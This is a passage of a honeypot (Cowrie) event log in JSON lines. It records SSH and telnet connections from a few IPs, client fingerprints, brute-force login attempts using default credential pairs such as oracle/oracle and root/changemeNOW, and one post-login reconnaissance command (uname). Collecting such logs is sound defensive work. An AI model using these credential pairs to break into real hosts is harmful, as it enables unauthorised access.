ha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:39:48.893097Z","src_ip":"205.254.166.101","session":"f287edc58cb2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"administrator","password":"admin1234","message":"login attempt [administrator/admin1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:39:49.759202Z","src_ip":"205.254.166.101","session":"f287edc58cb2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:39:50.970447Z","src_ip":"205.254.166.101","session":"f287edc58cb2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":51.8271062374115,"message":"Connection lost after 51 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:39:57.431164Z","src_ip":"134.209.8.29","session":"417e3468e617","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":49.99495267868042,"message":"Connection lost after 49 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:40:00.033368Z","src_ip":"134.209.8.29","session":"34555955e8e0","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":74.42373943328857,"message":"Connection lost after 74 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:40:01.545106Z","src_ip":"134.209.8.29","session":"2ab715ed9b40","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"134.209.8.29","src_port":47260,"dst_ip":"159.203.135.109","dst_port":23,"session":"4e3c1081bf80","protocol":"telnet","message":"New connection: 134.209.8.29:47260 (159.203.135.109:23) [session: 4e3c1081bf80]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:40:05.344783Z"}
{"eventid":"cowrie.session.connect","src_ip":"134.209.8.29","src_port":47274,"dst_ip":"159.203.135.109","dst_port":23,"session":"d340a4103293","protocol":"telnet","message":"New connection: 134.209.8.29:47274 (159.203.135.109:23) [session: d340a4103293]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:40:05.612581Z"}
{"eventid":"cowrie.session.closed","duration":45.5142822265625,"message":"Connection lost after 45 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:40:09.518773Z","src_ip":"134.209.8.29","session":"8da574d7a8da","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"134.209.8.29","src_port":47276,"dst_ip":"159.203.135.109","dst_port":23,"session":"3ebe4352878c","protocol":"telnet","message":"New connection: 134.209.8.29:47276 (159.203.135.109:23) [session: 3ebe4352878c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:40:11.963052Z"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.254","src_port":41142,"dst_ip":"10.17.0.5","dst_port":22,"session":"55f0201b65af","protocol":"ssh","message":"New connection: 176.65.132.254:41142 (10.17.0.5:22) [session: 55f0201b65af]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:40:14.476475Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:40:14.482239Z","src_ip":"176.65.132.254","session":"55f0201b65af","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:40:14.569079Z","src_ip":"176.65.132.254","session":"55f0201b65af","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":9.37383246421814,"message":"Connection lost after 9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:40:14.718518Z","src_ip":"134.209.8.29","session":"4e3c1081bf80","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"plex","password":"plex","message":"login attempt [plex/plex] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:40:14.877230Z","src_ip":"176.65.132.254","session":"55f0201b65af","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:40:15.963392Z","src_ip":"176.65.132.254","session":"55f0201b65af","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"134.209.8.29","src_port":42386,"dst_ip":"159.203.135.109","dst_port":23,"session":"56c7ed5e5beb","protocol":"telnet","message":"New connection: 134.209.8.29:42386 (159.203.135.109:23) [session: 56c7ed5e5beb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:40:17.091034Z"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.254","src_port":41156,"dst_ip":"10.17.0.5","dst_port":22,"session":"399314038164","protocol":"ssh","message":"New connection: 176.65.132.254:41156 (10.17.0.5:22) [session: 399314038164]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:40:18.715439Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:40:18.725294Z","src_ip":"176.65.132.254","session":"399314038164","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:40:18.808891Z","src_ip":"176.65.132.254","session":"399314038164","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"hadoop","password":"hadoop@1234","message":"login attempt [hadoop/hadoop@1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:40:19.063673Z","src_ip":"176.65.132.254","session":"399314038164","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:40:20.154430Z","src_ip":"176.65.132.254","session":"399314038164","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"134.209.8.29","src_port":42396,"dst_ip":"159.203.135.109","dst_port":23,"session":"50946f75354f","protocol":"telnet","message":"New connection: 134.209.8.29:42396 (159.203.135.109:23) [session: 50946f75354f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:40:21.155675Z"}
{"eventid":"cowrie.session.connect","src_ip":"134.209.8.29","src_port":46550,"dst_ip":"159.203.135.109","dst_port":23,"session":"314c3d3091fe","protocol":"telnet","message":"New connection: 134.209.8.29:46550 (159.203.135.109:23) [session: 314c3d3091fe]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:40:21.857484Z"}
{"eventid":"cowrie.session.closed","duration":6.023496627807617,"message":"Connection lost after 6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:40:23.114409Z","src_ip":"134.209.8.29","session":"56c7ed5e5beb","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.254","src_port":39678,"dst_ip":"10.17.0.5","dst_port":22,"session":"bb31e48792f5","protocol":"ssh","message":"New connection: 176.65.132.254:39678 (10.17.0.5:22) [session: bb31e48792f5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:40:23.351362Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:40:23.357064Z","src_ip":"176.65.132.254","session":"bb31e48792f5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:40:23.449409Z","src_ip":"176.65.132.254","session":"bb31e48792f5","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"oracle","password":"oracle","message":"login attempt [oracle/oracle] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:40:24.153533Z","src_ip":"176.65.132.254","session":"bb31e48792f5","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:40:24.765701Z","src_ip":"176.65.132.254","session":"bb31e48792f5","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -s -v -n -r -m","message":"CMD: uname -s -v -n -r -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:40:24.769827Z","src_ip":"176.65.132.254","session":"bb31e48792f5","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","size":71,"shasum":"7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:40:24.878160Z","src_ip":"176.65.132.254","session":"bb31e48792f5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:40:24.885231Z","src_ip":"176.65.132.254","session":"bb31e48792f5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.254","src_port":39698,"dst_ip":"10.17.0.5","dst_port":22,"session":"92292dc94715","protocol":"ssh","message":"New connection: 176.65.132.254:39698 (10.17.0.5:22) [session: 92292dc94715]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:40:27.788839Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:40:27.798551Z","src_ip":"176.65.132.254","session":"92292dc94715","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:40:27.880831Z","src_ip":"176.65.132.254","session":"92292dc94715","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"changemeNOW","message":"login attempt [root/changemeNOW] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:40:28.439539Z","src_ip":"176.65.132.254","session":"92292dc94715","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"134.209.8.29","src_port":46564,"dst_ip":"159.203.135.109","dst_port":23,"session":"3ef7718932d2","protocol":"telnet","message":"New connection: 134.209.8.29:46564 (159.203.135.109:23) [session: 3ef7718932d2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:40:28.477229Z"}
{"eventid":"cowrie.session.closed","duration":6.78624701499939,"message":"Connection lost after 6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:40:28.643602Z","src_ip":"134.209.8.29","session":"314c3d3091fe","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:40:29.545433Z","src_ip":"176.65.132.254","session":"92292dc94715","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.254","src_port":34788,"dst_ip":"10.17.0.5","dst_port":22,"session":"5d448bb12490","protocol":"ssh","message":"New connection: 176.65.132.254:34788 (10.17.0.5:22) [session: 5d448bb12490]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:40:32.368920Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:40:32.373523Z","src_ip":"176.65.132.254","session":"5d448bb12490","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:40:32.456900Z","src_ip":"176.65.132.254","session":"5d448bb12490","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"grid","password":"grid","message":"login attempt [grid/grid] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:40:32.803480Z","src_ip":"176.65.132.254","session":"5d448bb12490","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"198.235.24.94","src_port":56623,"dst_ip":"159.203.135.109","dst_port":22,"session":"110f6357042c","protocol":"ssh","message":"New connection: 198.235.24.94:56623 (159.203.135.109:22) [session: 110f6357042c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:40:33.640471Z"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:40:33.888819Z","src_ip":"176.65.132.254","session":"5d448bb12490","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.3","message":"Connection lost after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:40:33.986784Z","src_ip":"198.235.24.94","session":"110f6357042c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"134.209.8.29","src_port":44096,"dst_ip":"159.203.135.109","dst_port":23,"session":"001cd88a3e80","protocol":"telnet","message":"New connection: 134.209.8.29:44096 (159.203.135.109:23) [session: 001cd88a3e80]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:40:35.663869Z"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.254","src_port":34798,"dst_ip":"10.17.0.5","dst_port":22,"session":"258785bd672c","protocol":"ssh","message":"New connection: 176.65.132.254:34798 (10.17.0.5:22) [session: 258785bd672c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:40:36.760680Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:40:36.784806Z","src_ip":"176.65.132.254","session":"258785bd672c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:40:36.848569Z","src_ip":"176.65.132.254","session":"258785bd672c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user1","password":"1111","message":"login attempt [user1/1111] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:40:37.178875Z","src_ip":"176.65.132.254","session":"258785bd672c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:40:38.264446Z","src_ip":"176.65.132.254","session":"258785bd672c","protocol":"ssh"}
